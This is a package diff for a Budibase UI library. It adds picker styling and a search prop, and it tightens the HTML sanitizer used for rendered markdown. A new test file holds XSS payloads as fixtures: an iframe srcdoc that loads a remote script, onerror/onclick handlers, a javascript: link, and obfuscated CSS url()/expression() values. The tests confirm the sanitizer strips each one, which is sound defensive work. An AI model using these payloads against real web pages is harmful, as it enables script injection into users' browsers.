@budibase/bbui 3.46.0 → 3.48.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@budibase/bbui",
3
3
  "description": "A UI solution used in the different Budibase projects.",
4
- "version": "v3.46.0",
4
+ "version": "v3.48.0",
5
5
  "license": "MPL-2.0",
6
6
  "module": "dist/bbui.mjs",
7
7
  "exports": {
@@ -108,5 +108,5 @@
108
108
  }
109
109
  }
110
110
  },
111
- "gitHead": "1444a702ce29cf158b10c31d3f205fc84c463169"
111
+ "gitHead": "0d896a86074936025b8ef6e3400ab650faeb8d06"
112
112
  }
@@ -228,6 +228,7 @@
228
228
  {id}
229
229
  class="spectrum-Picker spectrum-Picker--size{size}"
230
230
  class:has-border={bordered}
231
+ class:has-subtitle={!!fieldSubtitle}
231
232
  class:spectrum-Picker--quiet={quiet}
232
233
  {disabled}
233
234
  class:is-open={open}
@@ -447,6 +448,12 @@
447
448
  border: 1px solid var(--spectrum-global-color-gray-200);
448
449
  border-radius: 6px;
449
450
  }
451
+ .spectrum-Picker.has-subtitle {
452
+ height: auto;
453
+ align-items: center;
454
+ padding-top: var(--spacing-s);
455
+ padding-bottom: var(--spacing-s);
456
+ }
450
457
  .spectrum-Picker--quiet {
451
458
  padding: 0 8px;
452
459
  }
@@ -53,6 +53,7 @@
53
53
  export let onOptionMouseleave = () => {}
54
54
  export let loading: boolean | undefined = false
55
55
  export let searchPlaceholder: string | undefined = undefined
56
+ export let searchTerm: string | undefined = undefined
56
57
  export let required: boolean | undefined = false
57
58
  export let wrapText: boolean = false
58
59
  export let description: string | undefined = undefined
@@ -114,6 +115,7 @@
114
115
  {tooltipMessage}
115
116
  {searchPlaceholder}
116
117
  {wrapText}
118
+ bind:searchTerm
117
119
  on:change={onChange}
118
120
  on:click
119
121
  on:loadMore
@@ -0,0 +1,43 @@
1
+ import { describe, expect, it } from "vitest"
2
+
3
+ import { renderMarkdown } from "./renderMarkdown"
4
+
5
+ describe("renderMarkdown", () => {
6
+ it("preserves safe HTML used for email layouts", () => {
7
+ const html = renderMarkdown(
8
+ '<div style="color:red;padding:4px"><span>Alert</span><table width="600" cellpadding="4"><tr><td colspan="2">Body</td></tr></table></div>'
9
+ )
10
+
11
+ expect(html).toBe(
12
+ '<div style="color:red;padding:4px"><span>Alert</span><table width="600" cellpadding="4"><tr><td colspan="2">Body</td></tr></table></div>'
13
+ )
14
+ })
15
+
16
+ it("blocks the stored XSS advisory payload", () => {
17
+ const html = renderMarkdown(
18
+ '<iframe srcdoc="<script src=https://example.com/payload.mjs></script>"></iframe>'
19
+ )
20
+
21
+ expect(html).toBe("")
22
+ })
23
+
24
+ it("removes executable attributes, URLs, and styles", () => {
25
+ const html = renderMarkdown(
26
+ '<div class="spectrum-Modal" onclick="alert(1)" style="color:red;position:fixed;background-image:url(https://example.com/pixel)"><img src="https://example.com/image.png" onerror="alert(1)"><a href="javascript:alert(1)">Link</a></div>'
27
+ )
28
+
29
+ expect(html).toBe(
30
+ '<div style="color:red"><img src="https://example.com/image.png" /><a>Link</a></div>'
31
+ )
32
+ })
33
+
34
+ it("removes unsafe values from allowed style properties", () => {
35
+ const html = renderMarkdown(
36
+ '<div style="color:url(https://example.com/x);width:expression(alert(1));padding:4px">Direct</div><div style="color:u\\72l(https://example.com/x);width:e\\78pression(alert(1));font-family:u/**/rl(https://example.com/x);padding:4px">Obfuscated</div>'
37
+ )
38
+
39
+ expect(html).toBe(
40
+ '<div style="padding:4px">Direct</div><div style="padding:4px">Obfuscated</div>'
41
+ )
42
+ })
43
+ })
@@ -28,8 +28,81 @@ const MARKDOWN_TAGS = [
28
28
  "thead",
29
29
  "tr",
30
30
  "ul",
31
+ "div",
32
+ "span",
31
33
  ]
32
34
 
35
+ const MARKDOWN_ATTRIBUTES = {
36
+ "*": [
37
+ "align",
38
+ "bgcolor",
39
+ "dir",
40
+ "height",
41
+ "lang",
42
+ "role",
43
+ "style",
44
+ "valign",
45
+ "width",
46
+ ],
47
+ a: ["href", "title"],
48
+ img: ["alt", "src", "title"],
49
+ li: ["value"],
50
+ ol: ["reversed", "start", "type"],
51
+ table: ["border", "cellpadding", "cellspacing"],
52
+ td: ["colspan", "headers", "nowrap", "rowspan"],
53
+ th: ["colspan", "headers", "nowrap", "rowspan", "scope"],
54
+ }
55
+
56
+ const SAFE_STYLE_VALUE =
57
+ /^(?![\s\S]*(?:\\|\/\*|(?:expression|url)\s*\())[\s\S]*$/i
58
+ const MARKDOWN_STYLE_PROPERTIES = [
59
+ "background-color",
60
+ "border",
61
+ "border-bottom",
62
+ "border-collapse",
63
+ "border-color",
64
+ "border-left",
65
+ "border-right",
66
+ "border-spacing",
67
+ "border-style",
68
+ "border-top",
69
+ "border-width",
70
+ "color",
71
+ "display",
72
+ "font",
73
+ "font-family",
74
+ "font-size",
75
+ "font-style",
76
+ "font-weight",
77
+ "height",
78
+ "letter-spacing",
79
+ "line-height",
80
+ "margin",
81
+ "margin-bottom",
82
+ "margin-left",
83
+ "margin-right",
84
+ "margin-top",
85
+ "max-height",
86
+ "max-width",
87
+ "min-height",
88
+ "min-width",
89
+ "padding",
90
+ "padding-bottom",
91
+ "padding-left",
92
+ "padding-right",
93
+ "padding-top",
94
+ "text-align",
95
+ "text-decoration",
96
+ "vertical-align",
97
+ "width",
98
+ ]
99
+
100
+ const MARKDOWN_STYLES = {
101
+ "*": Object.fromEntries(
102
+ MARKDOWN_STYLE_PROPERTIES.map(property => [property, [SAFE_STYLE_VALUE]])
103
+ ),
104
+ }
105
+
33
106
  export const renderMarkdown = (markdown: string | undefined) => {
34
107
  if (!markdown) {
35
108
  return ""
@@ -39,10 +112,8 @@ export const renderMarkdown = (markdown: string | undefined) => {
39
112
 
40
113
  return sanitizeHtml(html, {
41
114
  allowedTags: MARKDOWN_TAGS,
42
- allowedAttributes: {
43
- a: ["href", "title"],
44
- img: ["alt", "src", "title"],
45
- },
115
+ allowedAttributes: MARKDOWN_ATTRIBUTES,
116
+ allowedStyles: MARKDOWN_STYLES,
46
117
  allowedSchemes: ["http", "https", "mailto", "tel"],
47
118
  allowedSchemesByTag: {
48
119
  img: ["http", "https"],